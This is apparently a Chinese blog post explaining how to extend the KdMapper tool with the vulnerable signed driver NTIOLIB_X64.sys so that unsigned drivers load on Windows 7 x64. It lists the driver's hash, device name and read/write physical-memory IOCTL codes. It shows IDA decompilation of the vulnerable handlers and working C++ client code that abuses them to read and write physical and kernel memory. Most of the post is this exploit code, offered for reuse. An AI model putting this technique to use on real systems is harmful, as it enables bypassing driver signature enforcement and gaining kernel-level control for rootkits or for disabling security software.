1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | NTIOLIB_X64.sys |
时间戳 | 5089142E |
MD5 | 23CF3DA010497EB2BF39A5C5A57E437C |
文件版本 | 1.0.0.0 |
设备名称 | \\.\NTIOLib_1_0_3 |
读物理内存 | 0xC3506104 |
写物理内存 | 0xC350A108 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = BugCheckParameter2;
if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
{
v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
if (!v2)
v2 = 0x2B992DDFA232i64;
BugCheckParameter2 = v2;
}
BugCheckParameter3 = ~v2;
return CreateDevice(DriverObject);
}
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
NTSTATUS result; // eax
NTSTATUS ntStatus; // ebx
struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
DeviceObject = 0i64;
RtlInitUnicodeString(&DeviceName, L"\\Device\\NTIOLib_1_0_3");
result = IoCreateDevice(DriverObject, 0, &DeviceName, 0xC350u, 0x100u, 0, &DeviceObject);
if (result >= 0)
{
GlbalInitialized = 0;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)MainDispatch;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)MainDispatch;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)MainDispatch;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11450;
RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\NTIOLib_1_0_3");
ntStatus = IoCreateSymbolicLink(&DestinationString, &DeviceName);
if (ntStatus < 0)
IoDeleteDevice(DeviceObject);
result = ntStatus;
}
else
{
GlbalInitialized = -1;
}
return result;
}
3.3 MainDispatch
__int64 __fastcall MainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
......
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
if (nIoControlCode > 0xC35060D4)
{
switch (nIoControlCode)
{
case 0xC3506104:
ntStatusV10 = ReadPhysicalMemory(
(NTIOLIB64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.InputBufferLength,
pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.OutputBufferLength,
pNtStatusInformation);
break;
......
case 0xC350A108:
ntStatusV10 = WritePhysicalMemory(
(NTIOLIB64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.InputBufferLength,
pIrp->AssociatedIrp.SystemBuffer,
pIosp->Parameters.DeviceIoControl.OutputBufferLength,
pNtStatusInformation);
break;
......
}
LABEL_59:
nReturnCode = ntStatusV10;
goto LABEL_66;
}
......
LABEL_66:
pIrp->IoStatus.Status = nReturnCode;
IofCompleteRequest(pIrp, 0);
return nReturnCode;
}
- 读物理内存 0xC3506104
从 NTIOLIB64_PHYSICAL_MEMORY_INFO 的物理地址PhysicalAddress复制数据到 NTIOLIB64_PHYSICAL_MEMORY_INFO 之后。
- 写物理内存 0xC350A108
从 NTIOLIB64_PHYSICAL_MEMORY_INFO 之后的内容地址复制数据到 NTIOLIB64_PHYSICAL_MEMORY_INFO 的物理地址PhysicalAddress。
3.4 读物理内存
__int64 __fastcall ReadPhysicalMemory(NTIOLIB64_PHYSICAL_MEMORY_INFO *pInfo, int nInputBufferLength, void *pOutputBuffer, unsigned int nOutputBufferLength, unsigned int *ntStatusInformation)
{
unsigned int nTotalSize; // eax
SIZE_T nTotalSizeUnmap; // r12
PVOID pMappedAddress; // rax
char bErrorAlign; // bp
__int64 v13; // rcx
_DWORD *v14; // rdi
_DWORD *v15; // rsi
__int64 v16; // rcx
_WORD *v17; // rdi
_WORD *v18; // rsi
if ( nInputBufferLength != 16 )
return 0xC000000Di64;
nTotalSize = pInfo->Length * pInfo->CopyAlign;
if ( nOutputBufferLength < nTotalSize )
return 0xC000000Di64;
nTotalSizeUnmap = nTotalSize;
pMappedAddress = MmMapIoSpace(pInfo->PhysicalAddress, nTotalSize, MmNonCached);
bErrorAlign = 0;
switch ( pInfo->CopyAlign )
{
case 1u:
qmemcpy(pOutputBuffer, pMappedAddress, pInfo->Length);
break;
case 2u:
v16 = pInfo->Length;
v17 = pOutputBuffer;
v18 = pMappedAddress;
while ( v16 )
{
*v17++ = *v18++;
--v16;
}
break;
case 4u:
v13 = pInfo->Length;
v14 = pOutputBuffer;
v15 = pMappedAddress;
while ( v13 )
{
*v14++ = *v15++;
--v13;
}
break;
default:
bErrorAlign = 1;
break;
}
MmUnmapIoSpace(pMappedAddress, nTotalSizeUnmap);
if ( bErrorAlign )
return 0xC000000Di64;
*ntStatusInformation = nOutputBufferLength;
return 0i64;
}
3.5 写物理内存
__int64 __fastcall WritePhysicalMemory(NTIOLIB64_PHYSICAL_MEMORY_INFO *pInfo, unsigned int nInputBufferLength, PVOID pOutputBuffer, __int64 nOutputBufferLength, _DWORD *ntStatusInformation)
{
SIZE_T nTotalSize; // rbx
PVOID pMappedAddress; // rax
char bErrorAlign; // bp
__int64 v10; // rcx
NTIOLIB64_PHYSICAL_MEMORY_INFO *v11; // rsi
_DWORD *v12; // rdi
__int64 v13; // rcx
NTIOLIB64_PHYSICAL_MEMORY_INFO *v14; // rsi
_WORD *v15; // rdi
signed __int32 v16[10]; // [rsp+0h] [rbp-28h] BYREF
if ( nInputBufferLength < 0x10 )
return 0xC000000Di64;
nTotalSize = pInfo->CopyAlign * pInfo->Length;
if ( nInputBufferLength < nTotalSize + 16 )
return 0xC000000Di64;
pMappedAddress = MmMapIoSpace(pInfo->PhysicalAddress, nTotalSize, MmNonCached);
bErrorAlign = 0;
switch ( pInfo->CopyAlign )
{
case 1u:
qmemcpy(pMappedAddress, &pInfo[1], pInfo->Length);
break;
case 2u:
v13 = pInfo->Length;
v14 = pInfo + 1;
v15 = pMappedAddress;
while ( v13 )
{
*v15 = v14->PhysicalAddress.LowPart;
v14 = (NTIOLIB64_PHYSICAL_MEMORY_INFO *)((char *)v14 + 2);
++v15;
--v13;
}
break;
case 4u:
v10 = pInfo->Length;
v11 = pInfo + 1;
v12 = pMappedAddress;
while ( v10 )
{
*v12 = v11->PhysicalAddress.LowPart;
v11 = (NTIOLIB64_PHYSICAL_MEMORY_INFO *)((char *)v11 + 4);
++v12;
--v10;
}
break;
default:
bErrorAlign = 1;
goto LABEL_18;
}
_InterlockedOr(v16, 0);
LABEL_18:
MmUnmapIoSpace(pMappedAddress, nTotalSize);
if ( bErrorAlign )
return 0xC000000Di64;
*ntStatusInformation = 0;
return 0i64;
}
3.6 NTIOLIB64_PHYSICAL_MEMORY_INFO结构
00000000 NTIOLIB64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x10, copyof_379)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 CopyAlign dd ?
0000000C Length dd ?
00000010 NTIOLIB64_PHYSICAL_MEMORY_INFO ends
3.7 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_NTIOLIB64_PHYSICAL_MEMORY_INFO {
PHYSICAL_ADDRESS PhysicalAddress;
ULONG CopyAlign; // 1,2,4 使用1时是正常按字节复制数据
ULONG Length;
} NTIOLIB64_PHYSICAL_MEMORY_INFO, *PNTIOLIB64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define NTIOLIB64_DEVICE_TYPE (DWORD)0xC350
#define NTIOLIB64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x1841
#define NTIOLIB64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x2842
#define IOCTL_NTIOLIB64_READ_PHYSICAL_MEMORY \
CTL_CODE(NTIOLIB64_DEVICE_TYPE, NTIOLIB64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0xC3506104
#define IOCTL_NTIOLIB64_WRITE_PHYSICAL_MEMORY \
CTL_CODE(NTIOLIB64_DEVICE_TYPE, NTIOLIB64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0xC350A108
4.2 .c文件
NTSTATUS microstar_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL microstar_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
BOOL WINAPI microstar_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
NTIOLIB64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.CopyAlign = 1;
request.Length = NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
__try {
if (DoWrite) {
ULONG nAllocateBufferLength = sizeof(NTIOLIB64_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
if (pBufferWrite)
{
RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
RtlCopyMemory(pBufferWrite, &request, sizeof(request));
RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
bResult = SuperCallDriver(DeviceHandle,
IOCTL_NTIOLIB64_WRITE_PHYSICAL_MEMORY,
pBufferWrite,
nAllocateBufferLength,
0,
0);
free(pBufferWrite);
}
else
{
Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
}
}
else {
bResult = SuperCallDriver(DeviceHandle,
IOCTL_NTIOLIB64_READ_PHYSICAL_MEMORY,
&request,
sizeof(request),
Buffer,
NumberOfBytes);
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error ReadWritePhysicalMemory Exception!" << std::endl);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI microstar_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI microstar_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI microstar_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI microstar_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用 NTIOLIB_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
标签:INFO,__,microstar,NTIOLIB,X64,pInfo,MEMORY,NTIOLIB64,PHYSICAL From: https://www.cnblogs.com/ImprisonedSoul/p/17731948.html